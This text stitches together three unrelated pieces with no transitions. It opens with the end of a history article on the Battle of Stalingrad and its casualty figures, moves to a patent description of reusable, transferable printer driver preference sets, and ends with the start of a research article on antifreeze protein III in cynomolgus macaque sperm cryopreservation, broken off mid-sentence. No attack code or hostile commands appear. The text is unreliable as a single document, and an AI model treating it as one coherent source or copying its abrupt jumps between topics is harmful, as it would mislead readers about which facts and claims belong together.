flesh. Other horrors were also intertwined with heroism. The Germans were more successful at capturing the residential portion of the city in the south than they were the industrial northern area. By early October, fierce fighting was commonplace there amongst the more contested old factories. One incident in the ruins of a school in the southern portion of the factory district featured an essentially kamikaze Soviet marine who sacrificed himself to take out a tank. (Marines were used to reinforce Red Army infantry during the battle). With his unit having depleted its supply of anti-tank grenades, the marine in question picked up two petrol bombs and prepared to fling them at a panzer. As he did so, one of the bombs was ignited by a shot from the Germans, causing the marine to burst into flame. Bolting over the short distance between himself and the enemy tank, he smashed himself and the remaining bomb against it. This set fire to the (vulnerable) engine decks located at the rear of the vehicle, presumably knocking it out of action in the process. At least one other poor soldier had the misfortune to, in a sense, die twice. One Russian executed by firing squad was promptly flung into a shallow grave right afterwards. He awoke a little while later, dug himself out and wondered around, naked, bloody and covered in dirt. When he stumbled across the authorities, they promptly shot him all over again - successfully this time. It is stories like this that make one conscious of just how difficult it was for the Soviets to halt and push back the German tidal wave. Though, incidentally, the fact that they eventually did also makes the campaign a good fit for another bit of dramatic structure: the ‘apparent defeat’, or lowest point that a hero reaches right before a shift in fortunes and the fast-paced drive towards the climax. For the Soviets, that shift had begun quietly, back in September of 1942. This is when Stalin’s two senior military advisors at the Stavka (the high command), General Georgi Zhukov and Colonel General Alexandr Vasilevsky, were planning a massive countermove. Stalingrad may have become a symbolic struggle for Hitler, but for the Soviet planners it was a decoy. The city was used as bait for the Germans, who pushed further and further into it. The first wave of major assaults came on between September 14 and 16. This was aimed at the south and centre of the city. The second wave took place between September 27 and October 7, and the third between October 14 and 29, by which point the cruel Russian winter was coming on. By November 19, it was the Soviets’ turn. That was the day Operation Uranus opened, followed a week later by Operation Mars – an action Beevor concludes must have been a diversionary attack. The plan was the encirclement of the Axis forces at great distance from the city, more than 150 miles at the furthest point, by two vast Soviet armies. They struck far from the city for two reasons: firstly, to prevent the redeployment of formidable German Panzer units engaged in Stalingrad, units that might block the Soviet attack; secondly, so that Axis units being hit were weaker Romanian ones. These divisions were stretched out over wide fronts and were under-equipped, lacking sufficient anti-tank weapons. As it turned out, Mars was far less successful than Uranus, and other operations were required to take on German forces further down the Caucasus. Overall though, the scheme worked well. It trapped 6 Army within Stalingrad while its rations ran low and the harsh winter played out. The Germans attempted a counterstroke without success, as well as air bridges meant to re-supply 6 Army within the Kessel, the ‘pocket’ or ‘cauldron’. Neither worked, and by January 23, 1943, Soviet forces were closing in on Gumrak Airfield, from which the final flights of German JU-52 airplanes were taking off. These carried selected members from sub-units across 6 Army. The hope was for the entire army to be rebuilt at some point around the seeds of these few survivors - a kind of human Noah’s Ark. For those left behind, their fates were more or less sealed. They either died fighting on, were killed by the harsh conditions, or became POWs. Final German resistance crumbled in early February, 1943. The newly promoted General Field Marshal Paulus surrendered at the end of January. Unlike most of his subordinates, he would survive captivity. Of the 91,000 German troops taken alive, only 5 or 6,000 would make it home, and only then in 1955. Survival rates were determined by rank, with 95 percent of NCOs and enlisted men dying in captivity while that same number of senior officers survived. This was thanks largely to better rations during the final weeks and months of the campaign, and to better treatment by the enemy. (Despite their communism, it seems the Soviets could be hierarchical too). For their part, junior officers had a 55 percent chance of surviving as POWs in the Soviet Union. Beevor puts Red Army losses for the whole Stalingrad campaign at 1.1 million total casualties, almost 500,000 of which were fatalities. German, or rather Axis, losses (i.e. including Romanian, Italian etc) also came to a total of about 500,000 for the entire campaign. For his part, Clodfelter says one estimate has put the total dead on both sides at 1,109,000, of which 209,000 were German. Though he points to official records as having said that both sides probably sustained fewer dead than this: 485,751 for the Soviets (which is more than Britain sustained for the entire war) and 147,000 for the Germans. Russian civilian deaths amounted to 200,000, he says. After the war, Paulus testified against the Nazis during the Nuremberg trials, though he wasn’t actually released from Soviet captivity until the 1950s. His Romanian wife had died while he was still in prison, and Paulus himself would die in 1957. Vasily Zaitsev survived the Battle of Stalingrad too, though his vision was seriously damaged by a mortar in January of 1943. Fortunately, a surgeon saved his eyes, and he returned to duty, participating in the Battle of Seelow Heights, part of the Soviet drive into Berlin in 1945. Zaitsev became an engineer after the war and rose to be a director in a textile factory. He’d become a Communist Party member during the war and he would die in 1991, eleven days before the USSR ceased to exist. In summing up Stalingrad, and Operation Barbarossa more generally, it is worth considering another metaphor derived from a tale referred to in Beevor’s book. This is the 1886 story ‘How Much Land Does a Man Need?’, by Russian writer Leo Tolstoy. The man in this case is named Pahom. He goes east of the Volga because he has heard that a simple people called the Bashkirs will allow him to take as much land as he wants for only 1,000 roubles. He is limited only by the amount of land he can walk around in a day. Holding them in contempt, Pahom sets off to acquire as much as he can from the Bashkirs, taking in a nice pond and a field for flax seeds during his enormous circuit. Then the sun starts to dip, and Pahom must race back to the starting point or risk losing everything he has acquired. He gets back in time, but the rush causes him so much strain that he dies on the spot where he started. It turns out that the only land he ever required was the six-foot plot used to bury him. Beevor points out that Hitler must have either never read or didn’t learn anything from Tolstoy’s story. And because of this, it seems he wasn’t only a modern Macbeth, but also another Pahom too. For more on the Battle of Stalingrad read Anthony Beevor’s ‘Stalingrad’. Look at ‘Stalingrad 1942’ by Peter Antill for an illustrated guide to the campaign, and read ‘German Soldier vs Soviet Soldier: Stalingrad 1942-43’ by Chris McNab for a soldier’s eye-view of the battle. Visit Osprey Publishing for more military history. Wheat image by Raymond Spekking; image of General Friedrich Paulus from the German Federal Archives and Greater Germanic Reich map by Hayden120.

This application is a continuation of U.S. application Ser. No. 09/360,861, filed 23 Jul. 1999, now U.S. Pat. No.______. bidirectional. FIG. 1 is a block diagram of a reusable and transferable printer driver system, wherein a set of printer driver preferences is transferable between client computers; FIG. 2 is a second embodiment of a reusable and transferable printer driver system, in which a plurality of client computers are connected across a network to each other and to a print server, and wherein a set of printer driver preferences is located on a first client computer; FIG. 3 is a second view of the reusable and transferable printer driver system of FIG. 2, in which the set of printer driver preference settings is sent from the first client computer to the print server; FIG. 4 is a third view of the reusable and transferable printer driver system of FIG. 2, in which the stored set of printer driver preference settings is distributed to other client computers; FIG. 5 shows a set of selected printer driver preference values, based upon printer driver categories; FIG. 6 is a schematic view of a user interface of a printer driver for reusable and transferable printer preferences, located on a client computer; FIG. 7 is detailed view of a user interface for a printer driver for the reusable and transferable printer preference system; FIG. 8 is a schematic view of an active application on a client computer linked to a printer driver for reusable and transferable printer preferences; FIG. 9 is a detailed view of a user interface for a printer driver for the reusable and transferable printer preference system linked to an active application on a client computer; FIG. 10 is a settings submenu of a user interface for a printer driver for the reusable and transferable printer preference system linked to an active application on a client computer; FIG. 11 shows a multiple printer embodiment of the transferable and reusable printer preference system; FIG. 12 is a translation diagram typically used by the multiple printer embodiment of the transferable and reusable printer preference system; FIG. 13 shows keyword matching between different sets of printer preferences; FIG. 14 shows selective merging of selected preferences between a plurality of sets of reusable and transferable printer preferences to create a new set of reusable and transferable printer preferences; and FIG. 15 is a schematic diagram a multiple printer embodiment of the transferable and reusable printer preference system, wherein sets of reusable and transferable preferences are established, stored and maintained at a central administrative workstation. FIG. 1 is a block diagram of a reusable and transferable printer driver system 10a, wherein a set 16 of printer driver preferences 18a-18n is transferable 32 between a first client computer 12a and a second client computer 12b. The client computers 12a, 12b are connected across a network 22 to each other (e.g., such as through computer network connections 33), and to a printer 26 (e.g., such as through printer network connections 19). The set 16 of printer driver preferences 18 is used by the first computer 12a to define a printing process at the connected printer 26, such as when sending 24a a print job 21 from an application 20 to the printer 26. In the embodiment shown, a first set 16 of printer driver preference settings 18 is located on the first client computer 12a. The set 16 of printer driver settings 18 is sent 32 from the first client computer 12a to one or more other client computers (e.g., client computer 12b), across the network 22. The transfer of sets 16 of preferences 18 between computers 12 can be accomplished by several means, such as file transfers, direct transfers, e-mail, or by any other electronic export 32 or import 34 methods. The network 22 between connected devices, such as client computers, may be any sort of direct connection, or may even be a wireless or PSTN based connection, such as an Internet or intranet connection. Although the set 16 of printer driver preferences 18 is defined before being sent to the second client computer 12b, the preference set 16 provides a valuable resource to a user at the second client computer 12b. A significant portion of a set 16 of printer driver preferences 18 often relates to a characteristic feature set 28 of a connected output device (e.g., a printer 26). As well, many printer driver preferences 18 are similar between similar print jobs 21, such as defined color attributes for documents produced at one or more client computers 12a, 12b. Therefore, although a single set 16 of printer driver preferences 18 may take considerable time for a user to initially create (such as at the first client computer 12a), it is often advantageous to reuse all or part of a previously defined set 16 of printer driver preferences 18 (such as at a second client computer 12b). FIG. 2 is a block diagram of a second embodiment of a reusable and transferable printer driver system 10b. A plurality of client computers 12a-12n are connected across a network 22, to each other, and to a print server 42, having storage 44, which is connected 45 to a printer 26. In the embodiment shown in FIG. 2, the set 16 of printer driver preference settings 18 is initially located 40a on a first client computer 12a. For example, a user at the first client computer 12a may define a detailed set 16 of printer driver preference settings 18, in the course of sending print jobs 21 to the print server 42 for printing at the printer 26. FIG. 3 is a second view 40b of the second embodiment of a reusable and transferable printer driver system 10b shown in FIG. 2, in which the set 16 of printer driver preference settings 18 is downloaded 46 from the first client computer 12a, across the network 22, and is stored within storage 44 of the print server 42. As described above, a significant portion of a set 16 of printer driver preferences 18 often relates to a characteristic feature set 28 of the connected output device (e.g., the printer 26), and many client computers 12a-12n connected across a network 22 often have print jobs 21 which require similar preferences 18. Therefore, the stored set 16 of printer driver preference settings 18 is often useful for other client computers 12b-12n. FIG. 4 is a third view 40c of the second embodiment of a reusable and transferable printer driver system 10b shown in FIG. 2, in which the stored set 16 of printer driver preference settings 18 is then sent 48 (i.e., distributed or selectably uploaded) from the print server 42 to other client computers 12b, . . . , 12n. The uploaded set 16 of printer driver preference settings 18 is subsequently used by the other client computers 12b, . . . , 12n in the process of printing files 21 at the printer 26 connected to the print server 42. FIG. 5 shows a set 16 of selected printer driver preference values 18a-18n, based upon printer driver categories 47a-47n. The set 16 of printer driver preferences 18a-18n are set values which are required to successfully print a print job 21 at a networked printer 26. Within the entire set of printer driver categories 47a-47n is typically a common category subset 49a of settings 47a-47i which are common to most printers 26 (e.g., such as selected page size, input tray, orientation, and media type). As well, within the entire set of printer driver categories 47a-47n is typically a printer specific subset 49b of settings 47j-47n which are specific to a particular printer 26, based on the feature set 28 (i.e., the capabilities) of that printer 26 (e.g., duplex, sorting, finishing options). A specified reusable and transferable set 16 of printer preferences 18 typically includes a set name 51 (preferably user-selectable or MIS department selectable), which allows users at different client computers 12a-12n to easily identify and use one or more sets 16 of printer preferences 18 for different print jobs 21. FIG. 6 is a schematic view of a user interface 50 for a printer driver 14 for a reusable and transferable printer preference system 10, located on a client computer 12. The client computer 12 typically comprises a processing unit 52, a monitor 54 having a display screen 56, and input devices, such as a keyboard 58 and a mouse 60. Within the user interface 50 of the printer driver 14, a user views, defines or modifies a set 16 of selectable printer driver preferences 18. In basic embodiments of the reusable and transferable set of printer preferences system 10a, 10b, the user interface 50 allows sets 16 to be defined and reused for a particular connected printer 26. However, preferred embodiments of the system 10 allow sets 16 of transferable printer preferences 18 to be readily defined, transferred and modified for use with different printers 26, and even for different printers 26 having different feature sets 28a-28n (FIG. 11). The user interface 50 has a general settings interface 62, providing a general set of all the preferences 18 which the user can specify. The user interface 50 preferably includes a set name interface 66, in which a user may enter a desired name 51 (e.g., “Newsletter 1”) for a given set 16 of preferences 18, such as by using the keyboard 58. The top level settings 64a-64n typically include setting group controls 64, such as for color options 64a, scale options 64b, and finishing options 64c. When the user activates a general setting choice 64, such as activating a group button 70a, 70b, or 70c, the user interface 50 typically displays a related preference selection window or expanded submenu 72, as shown in FIG. 7, whereby the user may specify detailed preference settings 18. In FIG. 7, the user has activated the expanded color settings submenu 72a by selecting the color setting button 70a in FIG. 6. The color settings submenu 72a includes detailed selectable color settings. For color settings, typical option groups of preferences are business color 74a, expert color 74b, or grayscale 74c. For example, business color 74a is typically defined by preset color preferences 18, wherein the user interface 50 specifies basic color settings (e.g., typically specifying an adequate color palette that is reproducible by a color printer 26 for general business documents). As well, basic grayscale printing output 74c may be selected. In contrast to more generic grayscale settings or business color settings 74a, expert color output 74b may optionally be selected, whereby a user has the option to manually specify more detailed color settings (e.g., such as for color calibration and specified PANTONE™ color matching (by Pantone Incorporated, of Moonachie, N.J.)). In FIG. 7, if expert color output 74b is activated, a secondary submenu would typically be presented to the user within the user interface 50, so that the user may select detailed expert color preferences 18. In a similar manner to the selection of color preferences 18, other preferences 18 may be selected within the user interface 50, such as printing media selection (e.g., substrate type selection, such as paper or transparency, tray selection, and paper size selection), or other processing preferences, such as finishing, orientation, duplex, stapling, binding, and/or hole punching preferences. The user interface 50 shown FIG. 7 also includes a graphic representation of a plurality of defined sets 16a-16c of printer preferences 18. The currently displayed set 16 is selectable, such as by activation of layered sets 16 by tabs 75a-75c. For example, the displayed set 16a is currently displayed in FIG. 7. When a user selects a preference set tab 75, the selection windows 62, 72 for the selected set 16 is displayed, and presents the selected preference options to the user, such as a detailed set view (FIG. 5), a general control interface 62 (FIG. 6), or more specific option submenus 72. The resulting set 16 of printer preferences 18 is based upon the chosen preference 18 for each setting 47 (FIG. 5). A user may create a plurality of sets 16a-16n of preferences 18, typically for different types of print jobs 21, from within the printer driver control interface 50. Although a user may create a set 16 of preferences 18 by individually selecting each preference 18, the user may also modify a previously defined set 16 (e.g., modifying the selected preferences 18 for “Newsletter 1”), or may modify a previously defined set 16 and save the modified set as a new set 16 (e.g., modifying the selected page size and finishing preferences 18 for “Newsletter 1” and retaining the color preferences for “Newsletter 1,” and saving the modified set 16 as “Proposal 1”). In this example, different print jobs 21 created by one or more client computers 12a-12n, using either the first set 16a, named “Newsletter 1,” or the second set 16b, named “Proposal 1,” may quickly be processed. For detailed print jobs 21, such as where color preferences 18 are quite complicated, the resulting print jobs 21 may be processed with strict color preferences 18, whereas other printer preferences 18 may differ. For example, a newsletter print job 21 commonly involves a two-page, two-sided folded layout, whereas a business proposal print job 21 is commonly printed on single-sided letter size paper. However, related documents often incorporate coordinated color palettes. The reusable and transferable printer preference system 10 thus allows sets 16 of preferences 18, or portions of sets 16 of preferences 18 to be efficiently and accurately defined, transferred, and modified. FIG. 8 is a schematic view of an active application 20 on a client computer 12, which is linked to a printer driver 14 for reusable and transferable printer preferences 18. Within the active application 20, the user typically accesses the transferable printer preference system 10 through the a print control 83 on a file submenu 85. Selection of the print control 83 typically displays a general print submenu 87 from within the active application 20, wherein a print properties control 89 within the general print submenu 87 provides access to the general settings interface 62 of the transferable printer preference system 10. FIG. 9 is a detailed view of a user interface 50 for a printer driver 14 for the reusable and transferable printer preference system 10 linked to an active application 20 on a client computer 12. When the user selects a defined set 16 from a set selection submenu 78, such as by highlighting 80 the desired set 16, the selected preferences 18 are changed to reflect the defined preferences 18, and the user may quickly process a print job 21. The general settings interface 62 includes an expandable preferences display 91, which can be expanded by expand menu control 95a, or compressed (showing only top level settings 64a-64n), by compress menu control 95b. When the user activates a general setting choice 64, such as activating a group button 70, the control interface 50 typically displays a related preference selection window or expanded submenu 72, as shown in FIG. 7, whereby the user may specify detailed preference settings 18. The general settings interface 62 also preferably includes a setting summary display 93, and a page layout thumbnail preview 94. The setting summary display 93 provides an overview of preference categories 47a-47n and selected settings 18a-18n for the current set 16 of preferences 18. The page layout thumbnail preview 94 provides a graphic representation of the current page layout, as a print job would be printed to an output device 26 (e.g., the graphic representation in FIG. 9 currently shows a portrait orientation setting 18c on letter size paper setting 18a, as shown in setting summary display 93). The general settings interface 62 also includes a settings selection control 92, which provides access to a detailed settings submenu 98, wherein a user can control the transfer of sets 16 of printer preferences 18. FIG. 10 is a settings submenu 98 of a user interface for a printer driver 14 for the reusable and transferable printer preference system 10 linked to an active application 20 on a client computer 12. The settings submenu 98 includes controls for exporting 32 (FIG. 1) a selected set 16 of printer preferences 18, importing 34 (FIG. 1) a selected set 16 of printer preferences 18, storing 46 a selected set 16 of printer preferences 18 (FIG. 3), retrieving 48 a selected set 16 of printer preferences 18 (FIG. 4), or saving a selected set 16 of printer preferences 18 as a new set 16, through Save As control 99. Within a network 22, transferable and reusable sets 16 may therefore be defined at one or more client computers 12a-12n, and may be distributed to other networked devices, such as to client computers 12a-12n or to print servers 42. For users located at a plurality of client computers 12a-12n, the distributed sets may readily be used, such as for multiple users working on one or more related project. Each user may send each project (i.e., a print job 21) to a printer 26, and obtain similar printed outputs, since the set 16 of printer preferences 18 is equivalent across all client computers 12a-12n. System Use for a Plurality Printers having Different Feature Sets. In basic embodiments of the transferable and reusable printer preference system 10, sets 16 of printer driver preferences 18 can be transferred between multiple client computers 12a-12n for jobs which are sent to the same printer 26. In preferred embodiments, sets 16 of printer driver preferences 18 are used to send print jobs 21 to different printers 26a-26n, either from the same client computer 12, or from different client computers 12a-12n. Although sets 16 of printer preferences 18 are typically specified in terms of an available feature set 28 for a connected printer 26 (e.g., a first printer 26a), the sets 16 may be modified within the transferable and reusable printer preference system 10 to function with different printers 26a-26n having different feature sets 28a-28n. FIG. 11 shows multiple printer embodiment of the transferable and reusable printer preference system 10c, having a first client computer 12a in communication with a first printer 26a, and a second client computer 12b in communication with a second printer 26b. The set 16 of printer preferences 18 shown is defined on the first client computer 12a, and is specified to perform a particular type of print job 21 at the first printer 26a. As described above, a user at the first client computer 12a may selectably send 32 one or more sets 16 of printer driver preferences 18 to the second client computer 12b. The transfer or distribution of sets 16 may be accomplished by several means, such as by e-mail, or by intermediate storage on a server (e.g., such as print server 42 (FIGS. 2-4)). Translation of Set Preferences. FIG. 12 is a translation diagram 100 typically used by the multiple printer embodiment of the transferable and reusable printer preference system 10c. When an initial set 16x of preferences 18, having been specified for use at a first printer 26 having a first feature set 28a, is used to print a print job 21 at a different printer 26, having a different feature set 28b (sent from either the same computer 12a or a different computer 12b), the system 10 preferably modifies the initial set 16x of preferences 18 to create a modified set 16y, as needed, to accomplish the selected print job 21. The multiple printer platform printer driver 14b preserves the defined preferences 18 which are usable 102 for a different destination printer 26b. Although the application 10, 50 and multiple platform printer driver 14b preserves as many preferred settings 18 as possible (e.g., retains the main code of the initial set 16), there are often features 30 which are different between different printers, and preferences specified in an initial set 16x which are not directly usable for a new destination printer 26. For preferred preferences 18 which are not directly usable for the destination printer, the printer driver 14 uses default setting preferences 104 that are required to successfully print to the second printer 26. For example, a common printer preference 18 may be “duplex” printing. For different printers 26 which have a “duplex” printing preference 18 available within each their defined feature sets 28, the printer driver 14 and translation control 100 matches 102 the “duplex” option 18. Meanwhile, other non-matching settings 104, which are not directly available to the new printer 26, are typically translated to default preferences 18 for the new destination printer 26b. In a preferred embodiment, where more than one default setting preference is possible at a destination printer 26, translation control 100 provides controllable selection of the default preferences 104. Conflict Resolution. When translating sets 16 of printer preferences 18, or when merging sets 16 of printer preferences 18 (FIG. 14), there are occasionally selected features from one set 16 which are not directly translated to an available selectable preference 18, or an available feature 28 on a different output device 26. Therefore, when sets 16 of reusable and transferable printer preferences 18 are imported to a client computer 12, retrieved from external storage 44 across a network, or are used to send a print job 21 to a different printer 26 than a set 16 was originally intended, detailed resolution between preferences 18 is sometimes required. Each set 16 includes a plurality of defined preferences 18, and each preference has a defined preference name or keyword 107. Although there may be equivalent or similar features 30 within feature sets 28 of different printers, the terminology 107 used to describe a preference 18 related to each feature 30 may be different for different printers 26. The printer driver 14 and translation control 100 attempts to match as many preferences as possible, substitutes default setting 104 where possible (FIG. 12), and if needed, allows the user to match other non-matching preferences 18, to correctly match preferences 18 which were incorrectly matched by the automated system (e.g., such as from differences in keywords 107), or to resolve other conflicts. The translation and modification of sets 16, and comparison between preferences 18 and keywords 107 is accomplished internally to the printer driver application 14. Alternatively, supplementary translation format applications, such as an XML format application, may be used in conjunction with the printer driver 14, such as to store and transfer setting parameters 47a-47n and their values 18a-18n within a standardized XML format, and to compare and translate parameters 47, keywords 107, and preference values 18. The use of XML formats provides simple key value pair association describing the settings 18 for a specific printer 26. The transfer of settings 18 in XML format is preferred, since there are no additional page description language (PDL) specific commands that are required. Keyword Matching. Common features 30 are often described using the same terminology preferences 18 for different printers 26 manufactured by the same company (e.g., using unified terminology and keywords for features 30 and selectable preferences 18). However, an equivalent or similar feature 30 provided on a printer 26 from a different manufacturer may have different terminology or keywords for features 30 and selectable preferences 18. The multiple platform printer driver 14b and translation control 100 therefore preferably provides keyword matching controls, whereby a user can match up preferences 18 between an initial set 16x (FIG. 12), and non-matching 104 preferences 18 in the modified set 16y. FIG. 13 shows keyword matching 106 between different sets 16 of preferences 18. Through the user interface 50 or translation control interface 100, a user may optionally resolve such conflicts in terminology by matching key words 107. For example, as shown in FIG. 13, a first set 16 of preferences 18 is defined for a first printer 26a, and describes a page layout option as “Two-page” 107. However, the second printer 26a shown requires a similar layout option to be described as “Tabloid” 107. In this scenario, the user may optionally resolve the conflict, by matching 108 the “Two-page” keyword 107 for preference 18n in the first set 16x to the “Tabloid” keyword 107 for preference 18n in the first set 16y. Selective Merging. FIG. 14 shows selective merging 110 of selected preferences 18 between a plurality of sets 16a, 16b of reusable and transferable printer preferences 18, to create a new set 16n of reusable and transferable printer preferences 18. For example, a user may desire to create a new set 16n, based on specific color preferences 18 from an earlier defined set (e.g., set 16a), and may also desire finishing preferences 18 based on a different set (e.g., set 16b) The selective merging window 110 allows a user to choose selected preferences 18 between two or more previously defined sets, to create a new set 16. Within the selective merging window 110, the user highlights 112a, 112b desired preferences 18 from existing sets 16a, 16b. In an alternate embodiment, a user can slide over (i.e., drag) 113a the desired preferences 18 or groups of preferences (e.g., color output settings 18) from the first set 16a to the new set 16n, and slide over 113b the desired preferences 18 or groups of preferences (e.g., finish settings) from the second set 16b to the new set 16n. The user may also select other preferences 18 based upon choices other than those available, such as by a pop-up menu 114 of preferences 18. The user may then save and use the new set 16n, as merged from two or more prior sets, and may optionally modify the preferences 18 for the new set 16n, by selecting preferences 18 from selection menus. Translated or selected preference options 18 which conflict with other selected preferences 18 in the new set 16n (i.e., the selected preference is not available, or cannot be performed) are preferably highlighted 118. In a preferred embodiment, context-sensitive help provides a user with supplementary information regarding a potential conflict (e.g., a conflict resolution dialog). For a highlighted conflict 118, a user preferably activates a pop-up menu 114 of preferences 18, and chooses a preference 18 which is not conflict highlighted 118. The user selectably pulls down the highlighted preference 118, such as by opening a pop-up menu 114, which shows which item choices 18 would still be conflicted 118, and which would be acceptable. Pop-up menu 114 typically displays all selectable preferences 18, such as preferences 18 defined by the initial sets 16 being merged (e.g., preference Opt N-1 from a first set 16a, and preference Opt N-2 from a second set 16a), as well as other selectable preferences 18 (e.g., preference Opt N-3) for the new destination printer 26. In a preferred embodiment, a log is prepared for selected sets 16 of preferences 18 for a processed print job 21. For imported printer driver sets 16 where preferences 18 were matched, such as by terminology resolution 106 or by conflict resolution 118, the eventual output resulting from the selected set 16 may be fine, or may produce undesirable output, such as if one or more preferences 18 were improperly resolved. The job log therefore provides a convenient means to capture and provide feedback to the resolution process, based on successful or unsuccessful output. The user may preferably inspect the job log, to compare the chosen preferences 18 for the current print job 21 to the imported preferences 18, such as to detect discrepancies. Master Sets of Printer Preferences. In the prior art, secondary users currently have to make each and every change to a printer driver, such as through sub-menus, before a print job 21 is printed, even if the user is printing to the same printer 26 as the first user. Such manual entry of detailed multiple settings is prone to error. For complicated color process printers 26 or large format plotters 26, the resulting mistakes can be quite extensive and costly. FIG. 15 is a schematic diagram a multiple printer embodiment of the transferable and reusable printer preference system 10d, wherein sets 16 of reusable and transferable preferences 18 are established, stored and maintained at a central administrative workstation 120. In a networked environment 22, there are often collaborative efforts between a plurality of users at a plurality of client computers 12. It is often desirable to specify and control the publication of documents from a single computer 12 or administrative workstation 120, such as in a publishing or MIS environment, where multiple users are responsible for creating one or more documents requiring strictly controlled features, such as page layouts and color preferences. In contrast to the prior art, master sets 16 of preferences 18 are preferably established at a single location, such as at an administrative workstation 120, and are then broadcast out to networked client computers 12a-12n, to provide controlled output of print jobs 21 at one or more printers 26a-26n. A user, such as an MIS administrator, at an administrative workstation 120 may establish sets of preferences 18, and may preferably control the storage and modification of the defined sets 16. In a publishing environment, therefore, print jobs 21 can be processed by any user at a client computer 12a-12n, using the sets 16 defined and maintained by the administrative workstation 120. The administrative user may also modify defined sets 16 of preferences 18 for operation at any of a plurality of print servers 42a-42n and output devices 26a-26n, whereby a print job 21 sent from any client computer 12a-12n is processed similarly. Individual users at client computers 12 are not required to modify their own sets 16 of preferences 18, since they are automatically supplied with a networked choice of available sets 16 of printer preferences 18, such as through the user interface of their user applications 20. For example, in a networked environment between client computers 12a-12n that is used for color graphics production, there are often detailed and complicated color calibrations within a specified set 16 of printer preferences 18, by which a plurality of users are required to use the same specified set 16 of printer preferences 18 (e.g., often comprising as many as twenty different calibration steps, brightness values, swap simulation values, CID selection values, and ITC profile values). System Advantages. The transferable printer driver preferences system 10 and its methods of use provide reusable and transferable sets 16 of printer driver preferences 18. For a single user working at one or more client computers 12a-12n, defined sets 16 are always close at hand. Sets 16 can be easily merged to provide similar output and finishing at multiple output devices 26. Different users at different client computers 12a-12n have access to defined sets, and can use them “as is,” or may modify them or merge them with other sets to quickly and efficiently create new printer driver preference sets 16. In a master-client environment 10d (FIG. 15), one or more sets 16 of printer driver preferences 18 are defined and controlled from a central location 120, whereby the application files 21 produced or modified at one or more client computers 12a-12n are similarly formatted, using the pre-defined and selectable sets 16 of printer driver preferences 18. Although the reusable and transferable printer driver preferences system 10 and its methods of use are described herein in connection with client computers 12, networks 22, print servers 42, and printers 26, the system and techniques can be implemented with other computers 12, servers and image processing devices, such as print controllers, scanners and copiers,.

ORIGINAL RESEARCH article Sec. Reproduction Improving Sperm Cryopreservation With Type III Antifreeze Protein: Proteomic Profiling of Cynomolgus Macaque (Macaca fascicularis) Sperm - 1Institute of Biothermal Science and Technology, School of Medical Instruments and Food Engineering, University of Shanghai for Science and Technology, Shanghai, China - 2State Key Laboratory of Primate Biomedical Research, Institute of Primate Translational Medicine, Kunming University of Science and Technology, Kunming, China Antifreeze protein III (AFP III) is used for the cryopreservation of germ cells in various animal species. However, the exact mechanism of its cryoprotection is largely unknown at the molecular level. In this study, we investigated the motility, acrosomal integrity, and mitochondrial membrane potential (MMP), as well as proteomic change, of cynomolgus macaque sperm after cryopreservation. Sperm motility, acrosomal integrity, and MMP were lower after cryopreservation (p < 0.001), but significant differences in sperm motility and MMP were observed between the AFP-treated sperm sample (Cryo+AFP) and the non-treated sample (Cryo–AFP) (p < 0.01). A total of 141 and 32 differentially expressed proteins were, respectively, identified in cynomolgus macaque sperm cryopreserved without and with 0.1 μg/ml AFP III compared with fresh sperm. These proteins were mainly involved in the mitochondrial production of reactive oxygen species (ROS), glutathione (GSH) synthesis, and cell apoptosis. The addition of AFP III in the sperm freezing medium resulted in significant stabilization of cellular molecular functions and/or biological processes in sperm, as illustrated by the extent of proteomic changes after freezing and thawing. According to the proteomic change of differentially expressed proteins, we hypothesized a novel molecular mechanism for cryoprotection that AFP III may reduce the release of cytochrome c and thereby reduce sperm apoptosis by modulating the production of ROS in mitochondria. The molecular mechanism that AFP III acts with sperm proteins for cellular protection against cryoinjuries needs further study. Introduction Similarities between non-human primates and humans in physiology, genetics, and behavior make primates one of the widely used animal models in biomedical research. Primate models play essential roles in human disease research, drug development, and therapeutic strategy validation. The generation of primate models has been greatly accelerated as a result of the newly developed nuclease-based genome editing tools, such as CRISPR-Cas9 technology, and improvements of assisted reproduction technologies in primates (David, 2016). However, the cost, space, and labor required to maintain these models as living animals have created a huge burden to the biomedical community. As a result, there is an unprecedented need for optimal protocols for the maintenance of these models as cryopreserved germplasm (sperms and embryos). In combination with the established assisted reproductive technologies, such as artificial insemination, in vitro fertilization, and embryo transfer, in primate, cryopreservation of sperm and embryo provides efficient and cost-effective methods to safeguard primate models. Sperm cryopreservation is an efficient method to safeguard primate models with a single mutation. However, the current protocol is not optimal. During the freezing and thawing process, sperms are exposed to several adverse events such as cold shock, intracellular ice formation, osmotic injury, pH change, oxidative stress and disruption of adenosine triphosphate (ATP) production. The stresses can inflict considerable cryo-damages on sperms (Parks and Graham, 1992; Muldrew and McGann, 1994; Gao and Critser, 2000; Johnson et al., 2000). Consequently, cryopreserved sperms show reduced motility, compromised acrosomal integrity, and low mitochondrial membrane potential (MMP), as well as impaired fertilizing capacity (Salamon and Maxwell, 1995; Gillan et al., 1997). Previously, we have successfully cryopreserved cynomolgus macaque sperm by optimizing a freezing protocol using a chemically defined medium (SpermCryo, All-round) designed for human sperm banking. However, the cryo-survival of sperm was still low after thawing compared with the traditional egg yolk-based extenders (Yan et al., 2016; Wang et al., 2019). Therefore, continued efforts are needed to optimize this freezing protocol. Antifreeze proteins (AFPs) have thermal hysteresis ability that can inhibit ice recrystallization through binding to the surface of ice crystals to prevent the further propagation of ice crystals during freezing and thawing, especially during thawing, which can be fatal to cells (Kim et al., 2017). AFP III, the most widely used AFP, is a globular AFP with a highly stable structure formed by hydrogen bonds and hydrophobic interactions (Salvay et al., 2010). Recently, we demonstrated that supplementation of AFP III at 0.1 μg/ml to the clinical egg yolk-free medium (named “sperm freezing medium” or SFM) significantly improved the post-thaw motility and MMP (Wang et al., 2019). AFP III has also been shown to protect germ cells from a variety of animal species upon cryopreservation. However, the mechanism of its action remains largely unknown, besides the property of AFP to alter hydrogen bond dynamics in the aqueous solution (Salvay et al., 2010). Several studies have suggested that AFPs interact with membrane proteins, which can positively affect the survival of post-thaw sperms and oocytes (Lee et al., 2015; Saeed et al., 2020). The development of proteomic tools makes it possible to investigate the proteomic alteration of sperm after cryopreservation. A previous study indicated that there were 584 identified differentially expressed proteins in cryopreserved human sperm compared with the fresh sperm specimen (Li et al., 2019). A similar phenomenon about the qualitative changes of protein profiles after sperm cryopreservation has been reported in chicken, boar, ram and human sperm (Wang et al., 2013; Vilagran et al., 2014; Cheng et al., 2015; Bogle et al., 2017; Pini et al., 2018). However, there is no study about the effects of cryopreservation on non-human primate sperm proteome so far. Therefore, the purpose of this research was to study the proteomic profiles of cynomolgus macaque sperm cryopreserved with SFM supplemented with AFP III 